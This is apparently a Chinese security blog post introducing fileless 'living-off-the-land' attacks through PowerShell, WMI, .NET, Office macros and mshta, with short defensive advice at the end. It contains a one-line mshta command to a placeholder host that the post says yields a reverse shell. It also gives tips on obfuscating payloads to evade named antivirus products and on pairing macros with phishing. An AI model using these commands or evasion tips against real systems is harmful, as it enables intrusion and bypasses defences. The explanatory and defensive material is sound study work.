点击上方“蓝字”关注公众号获取最新信息!

本文作者:Twe1ve(贝塔安全实验室-核心成员)


0x00、什么是无文件非恶意软件

区别于传统的基于文件的攻击,无文件非恶意软件攻击在内存中运行,不需要利用可执行文件就能达到攻击的目的。无文件非恶意软件本身是系统内置的合法工具,但是被用来执行一些不合法的操作,也就是我们常说的白名单绕过执行。总的来说就是利用Windows 的一部分来对抗Windows。

无文件攻击使用的是一种“Living-off-the-land”(平地起飞)技术。Living-off- the-land 是指攻击者使用 leverages trusted andlegitimate processes(受信任的合法进程)来执行恶意操作,这些被用来执行恶意操作的合法工具也被称为 LOLBins,其中包括powershell、WMI、MicrosoftOffice、.NET 和其他系统工具。下面附上一个 Living-off- the-land 二进制文件和脚本的项目地址:

https://github.com/LOLBAS-Project/LOLBAS

0x01、无文件非恶意软件攻击流行的原因

1) 、隐秘性高:无文件非恶意软件使用的是合法工具,所以几乎不会出现无文件非恶意软件被**加入黑名单从而导致不能使用的情况。

2) 、Living-off-the-land:无文件非恶意软件本身是系统内置的合法软件,不需要额外安装任何工具

3)、受信任且被频繁使用于合法目的:诸如 powershell、WMI、.NET 都是广泛被应用于日常工作当中的,同时也是应该被信任的。随之而来的“好”处就是,**无法识别这些工具的使用是出于正常工作需要还是被用来执行恶意操作

0x02、无文件非恶意软件的使用

0x02.1、POWERSHELL

0x02.1.1、Powershell 简介

1)、Powershell 是一个跨平台的开源的自动化和管理配置框架

2)、Powershell 基于.NET,由命令行 shell 和脚本语言组成

3) 、Powershell 被允许完全访问诸多windows 功能,如 WMI、COM 对象以及其他管理功能(功能齐全,因此也被广泛用于合法工作中)

4) 、Powershell 能够从内存执行paylaod(这也是 powershell 能够被用于无文件攻击的重要原因)

0x02.1.2、使用 powershell 作为无文件非恶意软件的优点

除了满足上面三点无文件非恶意软件流行的原因,使用 powershell 作为无文件非恶意软件还有如下优点:

1) 、易于混淆,powershell 脚本混淆很容易就可以实现,推荐一款 powershell 混淆工具 Invoke-Obfuscation:https://github.com/danielbohannon/Invoke-Obfuscation

2) 、提供远程访问:Powershell 默认提供远程访问功能,攻击者可以远程使用

0x02.1.3、Powershell 被用于无文件非恶意软件攻击的几个实例

1)、Empire

2) 、Nishang

3) 、Cobalt Strike 的 powershell 模块4)、msf 中的 powershell 模块

个人比较倾向于使用 empire、生成的 Powershell payload 能够自定义混淆,且编码可选,简单设置参数和修改函数名就能够绕过 360 等大部分国内杀软

0x02.2、WMI(Windows Management Instrumentation,Windows 管理规范) 

0x02.2.1、WMI 简介

1) 、WMI 是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。

2) 、WMI 提供有关本地或远程计算机状态的信息,并且可以用于配置安全设置,例如系统属性,用户组,调度进程或禁用错误日志记录

3) 、WMI 的一个重要功能是能够使用 DCOM 或 WinRM 协议与远程计算机的 WMI 模型进行交互。这使攻击者可以在远程计算机上远程操作 WMI 类,而无需事先在其上运行任何代码

0x02.2.2、使用 WMI 作为无文件非恶意软件的优点

除了满足上面三点无文件非恶意软件流行的原因,使用 WMI 作为无文件非恶意软件还有如下优点:

1) 、以 system 身份运行:任何永久性WMI 事件订阅都作为系统运行,具有很高的可信度

2) 、容易被触发:几乎每个操作都能够触发 WMI 事件,从而使其与操作系统动作结合使用非常容易

0x02.2.3、WMI 被用于无文件非恶意软件攻击的几个实例

1)、使用 Win32_Process 在本地或远程生成进程,等效于运行 psexec 的 wmi

2)、Wmi 事件权限维持

3)、著名无文件攻击病毒 POSHSPY(https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html) 就使用 WMI 来存储及定时执行恶意代码

WMI 从 windows95 和 windows NT 4.0 便存在 windows 系统中,可谓根深蒂固。在实际环境中,WMI 不仅仅可以用来收集信息、还可以利用 WMI 进行代码执行、横向移动和构建持久无文件后门程序等

0x02.3、.NET Framework 框架

0x02.3.1、.NET 简介

1) 、.NET 是 Microsoft 提供的一个开源的框架、提供对开发人员经常使用并可以构建的功能基础结构的访问。

2) 、.NET 具有两个主要组件,开发人员可以一起使用它们来创建应用程序:公共语言运行库和.NETFramework 类库。.NET 框架编写的程序在软件环境“通用语言运行时”中执行

3) 、.NET 与几种编程语言一起使用,包括 C#,VB.NET Shop,C ++和 F#。它可以用于创建基于Windows 的应用程序,云应用程序,人工智能应用程序甚至跨平台应用程序

4) 、PowerShell 构建在.NET Framework 之上。没有.NET,就没有 PowerShell

0x02.3.2、使用.NET 作为无文件非恶意软件的优点 

除了满足上面三点无文件非恶意软件流行的原因,使用.NET 作为无文件非恶意软件还有如下优点:

1) 、节省时间:.NET 功能众多且很多是常用工程,可被攻击者直接利用

2) 、易于使用:.NET 发展了很长时间,有大量关于这方面的说明文档,攻击者可以利用这些文档很快上手。

0x02.3.3、.NET 被用于无文件非恶意软件的实例

1)、无文件非恶意软件 CactusTorch 使用 DotNetToJScript 从内存执行有害的.NET 程序集。

https://securityintelligence.com/news/fileless-malware-cactustorch-executes-harmful-net-assemblies-from-memory/

2)、.net加载mimikatz等

0x02.4、宏

0x02.4.1、宏简介

对于”宏“,相信大家都不陌生。在 Word 和 Excel 中,可以通过创建和运行宏来自动执行常用任务。宏是一系列命令和指令,您可以将它们组合为一个命令以自动完成任务

0x02.4.2、使用宏作为无文件非恶意软件的优点

除了满足上面三点无文件非恶意软件流行的原因

,使用宏作为无文件非恶意软件攻击还有如下优点:

1) 、实现简单:宏,大家都不陌生,甚至经常使用

2) 、易于传播:Word、Excel 都是我们工作中的常用文档,即使广泛传播也不怎么会引起怀疑。能够轻松与网络钓鱼和社工技术相结合

0x02.4.3、宏被用于无文件非恶意软件的几个实例

1)、鱼叉攻击案例中大部分都是使用宏来执行恶意操作

2)、通过 OFFICE 文档进行网上诱骗

恶意宏还能够执行各种任务,包括运行 PowerShell 实例。宏默认是不启用的,需要结合网络钓鱼、社工等知识诱导对方点击“启用内容”、“是”

0x02.5、其他系统工具

Psexec、sid、PortQry、sl 等均是无文件非恶意软件,能够很好地帮助我们进行信息收集、躲避杀软、权限提升、横向移动等。更多 LOLBins 看这里:

https://github.com/api0cradle/LOLBAS

以 koadic 框架为例,使用无文件非恶意软件 mshta,只需要在目标 windows 机器上简单地执行一句话就能反弹回一个 shell:

mstha http://xx.xx.xx.xx:xxx/xxx

powershell、wmi、,NET 等目前也都已经是各大安全厂商的重点查杀对象,但是由于无文件、在内存执行、合法等特性,查杀依然还是很困难,简单的变形往往都能绕过某些针对特征的查杀

不同AV对LOLBins的查杀力度不同,此处的mstha虽然被360查杀,但是实在火绒的白名单内,(效果相当于360对于python程序从查杀效果)

0x03、无文件非恶意软件攻击防御:

1) 、诸如 Powershel、WMI 等被广泛用于管理任务的合法应用程序,不可能完全禁用这些功能。实际一点的做法是使用 Powershell 提供的新日志记录功能分析脚本,并在可能的情况下对所需的脚本进行数字签名。但是这是一个很庞大的工作量,需要一个自动的脚本来实现。

2) 、无文件非恶意软件无法绕过基于行为的高级检测,关键区域扫描和其他保护技术参考链接:

https://portswigger.net/daily-swig/experts-warn-against-uptick-in-fileless-malware-attacks

https://securityintelligence.com/news/fileless-malware-cactustorch-executes-harmful-net-assemblies-from-memory/

https://github.com/mdsecactivebreach/SharpShooter

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

https://www.cybereason.com/blog/fileless-malware

https://www.cybereason.com/blog/fileless-malware-wmi

https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html

https://www.4hou.com/technology/10163.html

https://www.kaspersky.com/enterprise-security/wiki-section/products/fileless-threats-protection

安全攻防 | 初识(fileless malware)无文件非恶意软件相关推荐

  1. 漫谈无文件恶意软件的发展历史

    一.前言 究竟什么是"无文件恶意软件(fileless malware)"?谈到这个名词时,许多安全行业的专业人员都心有余悸,许多文章和产品手册在介绍无文件恶意软件时,总会顺带提到 ...

  2. Linux环境无文件渗透执行ELF:memfd_create、ptrace

    <GDB调试之ptrace实现原理> <C语言程序调用栈:backtrace+backtrace_symbols+backtrace_symbols_fd> <strac ...

  3. 无文件恶意软件感染完整指南

    原文链接:http://app.myzaker.com/news/article.php?pk=5c6b5bf977ac640fa908cd84 目录 什么是无文件感染 ? 为什么网络罪犯使用无文件恶 ...

  4. [译] APT分析报告:04.Kraken - 新型无文件APT攻击利用Windows错误报告服务逃避检测

    这是作者新开的一个专栏,主要翻译国外知名的安全厂商APT报告文章,了解它们的安全技术,学习它们溯源APT组织的方法,希望对您有所帮助.前文分享了APT组织Fin7 / Carbanak的Tirion恶 ...

  5. 并发队列-无界非阻塞队列 ConcurrentLinkedQueue 原理探究

    并发队列-无界非阻塞队列 ConcurrentLinkedQueue 原理探究 http://www.importnew.com/25668.html 一. 前言 常用的并发队列有阻塞队列和非阻塞队列 ...

  6. 恶意文件 大数据案例库_无文件恶意软件感染完整指南

    有时,你可能会发现自己更想回到事物简单的年代,这个时代诞生了太多的技术,让我们的生活在更轻松的同时也变得更加复杂.其实不光是我们,网络安全专家也会经历这样的反思时刻,特别是当他们遇到无文件恶意软件感染 ...

  7. 无文件攻击与病毒样本分析-1-4-2-无文件攻击之恶意脚本:WScript和CScript

    目录 无文件攻击与病毒样本分析-0-1-1-目录_千里ZLP的博客-CSDN博客在一个月内,将持续研究并发布一套关于"无文件攻击技术与相关病毒样本分析"的系列文章,为便于查看,将在 ...

  8. linux 用mutex定义一个linkedlist,一个高性能无锁非阻塞链表队列

    这个是一个用c++ 11标准实现的无锁非阻塞链表队列,通过增加一个dummy节点,解偶合链表头指针和尾指针.使得当只有一个生产者和一个消费者时,进队和出队都无需加锁,进队操作的是尾指针,出队操作的是头 ...

  9. JBoss无文件webshell研究

    JBoss无文件webshell研究 前言 在网上并没有怎么找到JBoss无文件shell的资料,只找到了宽字节的一篇,其中遇到了很多问题,不过还好自己也后来解决了,发现自己遇到了很多白痴问题,感觉自 ...

最新文章

  1. 一键摸鱼神器火了!专为Windows系统打造,老板在身后也可以很淡定
  2. iView 发布 1.0 正式版,43 个 UI 组件助力中后台业务开发
  3. css3中实现摘取金币_用css3实现抽奖转盘里的扇形图
  4. 为什么成员函数不占用类和对象的空间
  5. 颜色空间,图像格式,彩色转灰度函数
  6. javadoc定义异常_Doclava:来自Google的自定义Javadoc Doclet
  7. 深入学习linux socket编程之select
  8. (小技巧)Sql server查看sql语句的执行时间(转)
  9. python常见排序算法解析
  10. C++中string的用法
  11. iis7.5 php虚拟站点目录设置,windows2008中IIS7.5环境下 Fastcgi模式PHP配置教程
  12. javascript中闭包的真正作用
  13. python机器学习库sklearn——BIRCH聚类
  14. 【金融量化分析】#BSM formula 的推导(解随机微分方程)
  15. python numpy 中linspace函数
  16. 腾讯云域名转出转移码申请及转入阿里云全流程(图解)
  17. 单播、多播(组播)和广播解释
  18. 小学计算机课的评语,小学信息技术听课评语
  19. Android:Umeng(友盟)消息推送(二)
  20. 联想电脑怎么进bios设置U盘为第一启动项

热门文章

  1. java获取本机的外网ip----最简便、易懂
  2. MySQL 8.0.17安装教程(windows 64位)
  3. 滴滴携手万达酒店 打造一体化“出行+酒店”服务
  4. macOS中比较好的SVN客户端软件:SnailSVNLite
  5. ubuntu18.04安装向日葵
  6. 如何全面认知创客教育机器人
  7. 几种视频加密算法介绍
  8. js 给图片添加水印
  9. python判断能否组成三角形_【python+任意输入3个数+判断能否组成三角形】 - #1
  10. 试用期工作总结(个人版)